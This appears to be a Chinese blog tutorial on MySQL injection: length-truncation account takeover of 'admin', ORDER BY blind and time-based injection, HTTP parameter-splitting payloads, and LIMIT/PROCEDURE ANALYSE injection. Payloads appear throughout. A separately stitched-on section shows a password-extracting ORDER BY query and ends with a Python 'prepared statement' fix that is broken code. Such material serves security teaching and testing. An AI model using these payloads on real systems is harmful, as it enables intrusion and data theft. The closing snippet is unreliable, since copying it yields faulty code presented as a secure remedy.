mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入

本文详细介绍了SQL注入攻击的几种常见形式,包括长字符截断、orderby rand()盲注、时间盲注和HTTP分割注入,以及如何利用这些漏洞进行攻击。同时,也讨论了limit注入在不同情况下如何利用PROCEDURE函数进行注入。针对这些问题,文章强调了设置合适的SQL_mode、输入验证和参数化查询等防范措施的重要性。

长字符截断/SQL约束攻击

  • 产生原因:在mysql中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL默认 sql_mode为default),MySQL对插入超长的值只会提示warning,而不是error,这样就会导致一些截断问题。 

例如

  • 一个表的username字段类型为varchar(7) 长度最多7个字符。那么我们插入的时候将字符提高到8字符以上,它只取前7位,并且会弹出warning。

利用漏洞:

  • 假设管理员的登录名为admin,那么我们可以注册一个“admin        ”后面有八个空格用户即可轻易进入后台管理界面。


order by rand(True)   /order by rand(False)盲注

  • 产生原因:原语句类似为$id=$_GET['sort'];     select * from users order by $id ;

  • 利用漏洞:

    • 报错注入?sort=1 and updatexml(1,if(1=1,concat(0x7e,version()),2),1)
    • 盲注 order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注。
  • 例如:
    • 布尔盲注:?sort= rand(database()='ujcms')             
      • 返回了True的排序,说明database()='ujcms'是正确的值

  • 时间盲注 ?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
    • 执行结果睡眠2秒


 HTTP分割注入

场景:参数为username&password,查询语句为  select xxx from xxx where username='xxx' and password ='xxx';但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句:

当然这种注入的前提是单引号没有被过滤

  • payload:username=1' or extractvalue /*'&password=1*/ (1,concat(0x7e,(select database()),0x7e))) or'

  • 则查询语句为select * from users where username='1' or extractvalue /*' and password='1*/ (1,concat(0x7e,(select database()),0x7e)) or'';

过滤了空格,union,#,—+,/*,^,or,|

  • 可以考虑将password作为函数的参数来闭合语句:

  • payload:username=admin' and(strcmp(&password=,'asdasdasdasdasdasd')) and '1

  • 则查询语句为select * from users where username='admin' and(strcmp(' and password=','asdasdasdasdasdasd')) and '1';
    • strcmp比较,二者不一致返回True,一致返回False,而MySQL会将’1’判断为数字1,即True,因此该查询语句结果为True


limit注入

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字

  • 执行语句 select id from users limit 0,1; 

  • 这种情况下的 limit 后面可以使用union进行联合查询注入

  • 执行语句 select id from users limit 0,1 union select username from users;

 

存在 order by 关键字

  • 此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入

  • limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

  • 使用 PROCEDURE函数进行注入,ANALYSE支持两个参数,首先尝试一下默认两个参数

mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

  • 报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

  • 不存在回显怎么办,延迟注入呀,如果 select version(); 第一个为5,则多次执行sha(1)达到延迟效果,这里不支持使用 sleep,所以需要使用BENCHMARK进行替代 

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

### SQLLab 中排序注入攻击原理及实现方式 #### 排序注入的基础概念 SQL 注入是一种常见的 Web 应用程序安全漏洞,允许攻击者通过操纵输入来执行任意 SQL 查询。在特定情况下,当应用程序使用用户提供的参数控制 `ORDER BY` 子句时,可能会发生排序注入。 如果应用程序未正确验证或转义这些参数,则可能导致恶意 SQL 语句被执行。这不仅可能暴露敏感数据,还可能被用于进一步的攻击向量[^1]。 #### 实现方式 假设存在一个 URL 参数用于指定排序条件: ``` http://example.com/list?sort=price ``` 此时服务器端代码可能是这样的形式: ```php $query = "SELECT * FROM products ORDER BY $_GET['sort']"; ``` 在这种结构下,如果攻击者提交如下请求: ``` http://example.com/list?sort=id DESC, (SELECT password FROM users LIMIT 1)-- ``` 则最终形成的查询将是非法并带有潜在危害性的: ```sql SELECT * FROM products ORDER BY id DESC, (SELECT password FROM users LIMIT 1)-- ``` 这种类型的注入利用了 MySQL 对多列排序的支持以及注释符 (`--`) 来截断后续部分[^2]。 为了防止此类攻击的发生,应当始终对来自用户的任何输入进行严格的校验和清理;对于动态构建的 SQL 语句尤其如此。推荐的做法是采用预处理语句(Prepared Statements),它能有效隔离变量值与实际命令文本之间的关系,从而大大降低风险水平。 此外,在开发过程中应遵循最小权限原则配置数据库账户,并定期审查应用逻辑是否存在可被滥用之处。 #### 安全建议 - 使用 ORM 或者预编译语句代替直接拼接字符串的方式构造 SQL; - 输入过滤:去除不必要的特殊字符; - 输出编码:确保所有输出都经过适当转换再显示给前端; - 错误消息控制:避免泄露过多内部信息帮助黑客定位问题所在; - 数据库设计层面考虑分层架构,减少单一表内存储多种类型重要资料的可能性。 ```python import mysql.connector connection = mysql.connector.connect( host='localhost', user='root', passwd='', database='testdb' ) cursor = connection.cursor(prepared=True) stmt = 'SELECT * FROM products WHERE category=%s ORDER BY %s ASC;' category = ('electronics',) order_by_column = cursor.execute(stmt, (*category,)) results = cursor.fetchall() for row in results: print(row) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Thunderclap_

点赞、关注加收藏~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值